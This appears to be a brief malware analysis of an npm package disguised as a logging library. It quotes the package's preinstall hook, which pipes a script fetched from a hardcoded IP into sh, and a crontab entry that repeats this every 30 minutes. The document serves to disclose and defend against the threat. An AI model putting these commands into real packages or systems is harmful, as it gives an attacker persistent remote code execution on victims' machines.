[email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs `curl -s 216.126.236.46/x.sh | sh` via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on `npm install`. The same preinstall step appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh | sh`, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload.
